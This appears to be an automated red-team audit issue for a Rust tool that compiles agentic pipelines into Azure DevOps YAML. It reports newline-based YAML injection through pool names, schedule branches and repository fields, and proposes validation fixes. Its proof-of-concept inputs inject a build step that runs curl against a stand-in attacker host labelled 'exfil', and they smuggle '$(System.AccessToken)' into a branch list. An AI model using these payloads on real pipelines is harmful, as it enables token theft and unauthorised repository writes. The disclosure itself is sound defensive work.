π΄ Red Team Security Audit
Audit focus: Category A (Input Sanitization & Injection) β re-scan after template refactor
Severity: High
Findings
| # |
Vulnerability |
Severity |
File(s) |
Exploitable? |
| 1 |
Pool name YAML injection via newlines |
High |
src/compile/common.rs:1215-1258, src/data/base.yml:23,391,609 |
Yes β all 5 pipeline jobs |
| 2 |
Schedule branches YAML injection via newlines |
Medium |
src/fuzzy_schedule.rs:697-700 |
Yes β breaks schedule YAML structure |
| 3 |
Repository fields YAML injection via newlines |
Medium |
src/compile/common.rs:404-419 |
Yes β injects into resources block |
Details
Finding 1: Pool Name YAML Injection (High)
Description: The pool.name front matter field passes through sanitize_config(), which explicitly preserves newline characters (\n, \r) for "safety". However, validate_front_matter_identity() only checks name, description, and triggers.pipeline.* for newlines β it never checks pool.name. As a result, a pool name containing embedded newlines is serialised verbatim into every job's unquoted YAML name: scalar:
pool:
name: \{\{ pool }} # β unquoted, newlines pass through
This affects all 5 generated jobs: PerformAgenticTask, AnalyzeSafeOutputs, ProcessSafeOutputs, SetupJob, and TeardownJob.
Attack vector: Set pool.name to a string containing \n followed by indented YAML. The injected content lands at the job level, allowing overrides of condition, timeoutInMinutes, variables, or β most critically β an extra steps: block.
Proof of concept (confirmed with cargo run -- compile):
---
name: "Steps Injection Test"
description: "Testing pool name with steps injection"
setup:
- bash: echo "legitimate setup"
pool:
name: "AZS-1ES-L-MMS-ubuntu-22.04\n steps:\n - bash: curl (attacker.com/redacted) displayName: exfil"
---
Compiled output (excerpt):
- job: SetupJob
pool:
name: AZS-1ES-L-MMS-ubuntu-22.04
steps:
- bash: curl (attacker.com/redacted) # β injected
displayName: exfil
steps:
- checkout: self # β legitimate
- bash: echo "legitimate setup"
- job: PerformAgenticTask
pool:
name: AZS-1ES-L-MMS-ubuntu-22.04
steps:
- bash: curl (attacker.com/redacted) # β injected into AWF job
Highest-impact injection target β ProcessSafeOutputs: The write ADO token (SC_WRITE_TOKEN) is acquired inside this job. Injecting a steps: block before the legitimate steps provides arbitrary bash execution in the same job context as that token, enabling unauthorised Azure DevOps writes that bypass safe-output validation entirely.
SetupJob runs before AWF: The SetupJob has unrestricted network access (AWF is set up inside PerformAgenticTask). Injected steps there can freely exfiltrate secrets.
Impact: Arbitrary command execution in the pipeline runner context; access to the write ADO token; complete bypass of AWF network isolation for injected steps.
Suggested fix: Extend validate_front_matter_identity() in src/compile/common.rs to check pool.name for both newlines and ADO expressions, mirroring the existing checks for name/description:
if let Some(ref pool) = front_matter.pool {
let pool_name = pool.name();
if pool_name.contains("$\{\{") || pool_name.contains("$(") || pool_name.contains("$[") {
anyhow::bail!("Front matter 'pool.name' contains an ADO expression ...");
}
if pool_name.contains('\n') || pool_name.contains('\r') {
anyhow::bail!("Front matter 'pool.name' must be a single line ...");
}
}
Finding 2: Schedule Branches YAML Injection (Medium)
Description: schedule.branches[] entries are sanitised with sanitize_config() (newlines preserved) and are not validated by validate_front_matter_identity(). They are embedded verbatim into the schedule YAML as - <branch> items.
Proof of concept:
schedule:
run: "daily around 14:00"
branches:
- "main"
- "feat/foo\n - $(System.AccessToken)"
Compiled output:
branches:
include:
- main
- feat/foo
- $(System.AccessToken) # β breaks YAML structure
always: true
Impact: Malformed schedule YAML (ADO parse error disables the pipeline trigger), or injection of spurious ADO expressions into the trigger configuration.
Suggested fix: Validate schedule.branches entries for newlines in validate_front_matter_identity() (same pattern as triggers.pipeline.branches).
Finding 3: Repository Fields YAML Injection (Medium)
Description: generate_repositories() in src/compile/common.rs (lines 404β419) embeds repository, type, name, and ref fields unquoted into the \{\{ repositories }} YAML block without checking for newlines. These fields are sanitised with sanitize_config() but not validated for \n.
format!(
"- repository: {}\n type: {}\n name: {}\n ref: {}",
repo.repository, repo.repo_type, repo.name, repo.repo_ref
)
Suggested fix: Validate repository fields and checkout[] entries for newlines in validate_front_matter_identity().
Root cause
sanitize_config() intentionally preserves \n/\r (comment: "preserve newline, tab, and carriage return"). This is appropriate for content strings, but for fields that are interpolated into unquoted YAML scalars it opens a structural injection channel. The fix is validation at compile time, not a change to sanitize_config.
Audit Coverage
| Category |
Status |
| A: Input Sanitization & Injection |
β
Scanned β new findings above |
| B: Path Traversal & File System |
β
Scanned β no vulnerabilities |
| C: Network & Domain Allowlist Bypass |
β
Scanned β no vulnerabilities |
| D: Credential & Secret Exposure |
β
Scanned β token handling correct |
| E: Logic & Authorization Flaws |
β
Scanned β budget/allowlist enforcement correct |
| F: Supply Chain & Dependency Integrity |
β
Scanned β see issue #209 for open items |
This issue was created by the automated red team security auditor.
Generated by Red Team Security Auditor Β· β 2.8M Β· β·
π΄ Red Team Security Audit
Audit focus: Category A (Input Sanitization & Injection) β re-scan after template refactor
Severity: High
Findings
src/compile/common.rs:1215-1258,src/data/base.yml:23,391,609src/fuzzy_schedule.rs:697-700src/compile/common.rs:404-419Details
Finding 1: Pool Name YAML Injection (High)
Description: The
pool.namefront matter field passes throughsanitize_config(), which explicitly preserves newline characters (\n,\r) for "safety". However,validate_front_matter_identity()only checksname,description, andtriggers.pipeline.*for newlines β it never checkspool.name. As a result, a pool name containing embedded newlines is serialised verbatim into every job's unquoted YAMLname:scalar:This affects all 5 generated jobs:
PerformAgenticTask,AnalyzeSafeOutputs,ProcessSafeOutputs,SetupJob, andTeardownJob.Attack vector: Set
pool.nameto a string containing\nfollowed by indented YAML. The injected content lands at the job level, allowing overrides ofcondition,timeoutInMinutes,variables, or β most critically β an extrasteps:block.Proof of concept (confirmed with
cargo run -- compile):Compiled output (excerpt):
Highest-impact injection target β
ProcessSafeOutputs: The write ADO token (SC_WRITE_TOKEN) is acquired inside this job. Injecting asteps:block before the legitimate steps provides arbitrary bash execution in the same job context as that token, enabling unauthorised Azure DevOps writes that bypass safe-output validation entirely.SetupJobruns before AWF: TheSetupJobhas unrestricted network access (AWF is set up insidePerformAgenticTask). Injected steps there can freely exfiltrate secrets.Impact: Arbitrary command execution in the pipeline runner context; access to the write ADO token; complete bypass of AWF network isolation for injected steps.
Suggested fix: Extend
validate_front_matter_identity()insrc/compile/common.rsto checkpool.namefor both newlines and ADO expressions, mirroring the existing checks forname/description:Finding 2: Schedule Branches YAML Injection (Medium)
Description:
schedule.branches[]entries are sanitised withsanitize_config()(newlines preserved) and are not validated byvalidate_front_matter_identity(). They are embedded verbatim into the schedule YAML as- <branch>items.Proof of concept:
Compiled output:
Impact: Malformed schedule YAML (ADO parse error disables the pipeline trigger), or injection of spurious ADO expressions into the trigger configuration.
Suggested fix: Validate
schedule.branchesentries for newlines invalidate_front_matter_identity()(same pattern astriggers.pipeline.branches).Finding 3: Repository Fields YAML Injection (Medium)
Description:
generate_repositories()insrc/compile/common.rs(lines 404β419) embedsrepository,type,name, andreffields unquoted into the\{\{ repositories }}YAML block without checking for newlines. These fields are sanitised withsanitize_config()but not validated for\n.Suggested fix: Validate repository fields and
checkout[]entries for newlines invalidate_front_matter_identity().Root cause
sanitize_config()intentionally preserves\n/\r(comment: "preserve newline, tab, and carriage return"). This is appropriate for content strings, but for fields that are interpolated into unquoted YAML scalars it opens a structural injection channel. The fix is validation at compile time, not a change tosanitize_config.Audit Coverage
This issue was created by the automated red team security auditor.